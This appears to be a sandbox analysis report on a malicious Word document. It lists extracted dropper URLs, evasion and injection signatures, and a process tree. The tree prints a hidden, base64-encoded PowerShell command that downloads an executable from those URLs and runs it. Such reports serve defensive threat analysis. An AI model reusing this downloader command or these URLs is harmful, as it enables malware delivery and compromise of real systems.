Analysis
-
max time kernel
21s -
resource
win10v191014 -
submitted
11-12-2019 09:21
General
-
Target
20a24eed16bb350495006f0b6adb467accd7d199c56fe73b5fd36a471c5dbd86.doc
-
Sample
191211-s5ddk2thnn
-
SHA256
20a24eed16bb350495006f0b6adb467accd7d199c56fe73b5fd36a471c5dbd86
Score
8/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://qq546871516.com/publicfiles/lAZxpEZZk/
exe.dropper
http://ameerabd.com/wp-admin/cprKsFCBK/
exe.dropper
http://hraxisindia.com/aspnet_client/q0z96ighij-97lqm-04/
exe.dropper
http://masjid-alrahman.org/grnxszbre/yhoa1-t0dsvm58nh-3608899332/
exe.dropper
http://makalelisiteler.ayakkabilar.org/wp/mIxeAr/
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 5008 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXE886.exepid process 5008 WINWORD.EXE 4764 886.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 5008 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
SppExtComObj.exePowershell.exedescription pid process target process PID 3716 wrote to memory of 3656 3716 SppExtComObj.exe SLUI.exe PID 4540 wrote to memory of 4764 4540 Powershell.exe 886.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4540 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4540 Powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
886.exepid process 4764 886.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\20a24eed16bb350495006f0b6adb467accd7d199c56fe73b5fd36a471c5dbd86.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:5008
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:3656
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABWAG4AdgB3AGIAcABwAGYAPQAnAE0AcABqAHgAYgB1AGwAdQBjACcAOwAkAFYAZQBmAGMAcABiAGgAcAB2AHkAeAB1ACAAPQAgACcAOAA4ADYAJwA7ACQASgB2AG0AcgBrAHkAbwBlAGkAawBsAD0AJwBXAGQAdgB5AHIAZgBxAGQAeABxAGEAcwBrACcAOwAkAE8AagBkAGYAZgBxAHMAdgBrAHoAcgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAGUAZgBjAHAAYgBoAHAAdgB5AHgAdQArACcALgBlAHgAZQAnADsAJABOAGQAcwBpAG0AZwBlAGEAPQAnAEUAcQBxAHcAYQBiAGUAcwB4AGUAJwA7ACQAQgBwAGMAcgBlAHgAbQBwAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMATABJAGUATgB0ADsAJABZAHUAaABlAHAAZgBuAHMAZwBiAHMAbAA9ACcAaAB0AHQAcAA6AC8ALwBxAHEANQA0ADYAOAA3ADEANQAxADYALgBjAG8AbQAvAHAAdQBiAGwAaQBjAGYAaQBsAGUAcwAvAGwAQQBaAHgAcABFAFoAWgBrAC8AKgBoAHQAdABwADoALwAvAGEAbQBlAGUAcgBhAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AYwBwAHIASwBzAEYAQwBCAEsALwAqAGgAdAB0AHAAOgAvAC8AaAByAGEAeABpAHMAaQBuAGQAaQBhAC4AYwBvAG0ALwBhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AC8AcQAwAHoAOQA2AGkAZwBoAGkAagAtADkANwBsAHEAbQAtADAANAAvACoAaAB0AHQAcAA6AC8ALwBtAGEAcwBqAGkAZAAtAGEAbAByAGEAaABtAGEAbgAuAG8AcgBnAC8AZwByAG4AeABzAHoAYgByAGUALwB5AGgAbwBhADEALQB0ADAAZABzAHYAbQA1ADgAbgBoAC0AMwA2ADAAOAA4ADkAOQAzADMAMgAvACoAaAB0AHQAcAA6AC8ALwBtAGEAawBhAGwAZQBsAGkAcwBpAHQAZQBsAGUAcgAuAGEAeQBhAGsAawBhAGIAaQBsAGEAcgAuAG8AcgBnAC8AdwBwAC8AbQBJAHgAZQBBAHIALwAnAC4AIgBTAHAAYABMAEkAdAAiACgAJwAqACcAKQA7ACQAVgBrAHIAeQBsAGwAZQBsAHoAYQBrAD0AJwBFAHMAYwBlAHQAcwBkAGwAcABuAHAAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABqAHMAawB0AG8AeQBiACAAaQBuACAAJABZAHUAaABlAHAAZgBuAHMAZwBiAHMAbAApAHsAdAByAHkAewAkAEIAcABjAHIAZQB4AG0AcAAuACIAZABPAHcAbgBMAE8AYABBAEQAYABGAEkATABlACIAKAAkAFQAagBzAGsAdABvAHkAYgAsACAAJABPAGoAZABmAGYAcQBzAHYAawB6AHIAegApADsAJABPAHcAegBuAGoAaQB4AGgAaAByAG8AdgBzAD0AJwBKAGUAZgBjAGYAdgBpAGIAbwBlAGwAbgBlACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATwBqAGQAZgBmAHEAcwB2AGsAegByAHoAKQAuACIAbABFAGAATgBHAGAAVABIACIAIAAtAGcAZQAgADIANAA4ADkAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAFIAdAAiACgAJABPAGoAZABmAGYAcQBzAHYAawB6AHIAegApADsAJABaAGUAbwBwAHAAYQBuAGEAPQAnAFcAbABsAHEAeABhAGkAbQBmAGoAagB3ACcAOwBiAHIAZQBhAGsAOwAkAEcAdQBsAGkAeAB2AHMAYgA9ACcATwBxAGQAZgBqAGoAcQBlAHcAawB5ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAZwBsAGYAcwBhAG4AcwBjAGQAbgA9ACcATwBlAGMAawBiAHYAYgB3AGIAaAB3AGQAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4540 -
C:\Users\Admin\886.exe"C:\Users\Admin\886.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4764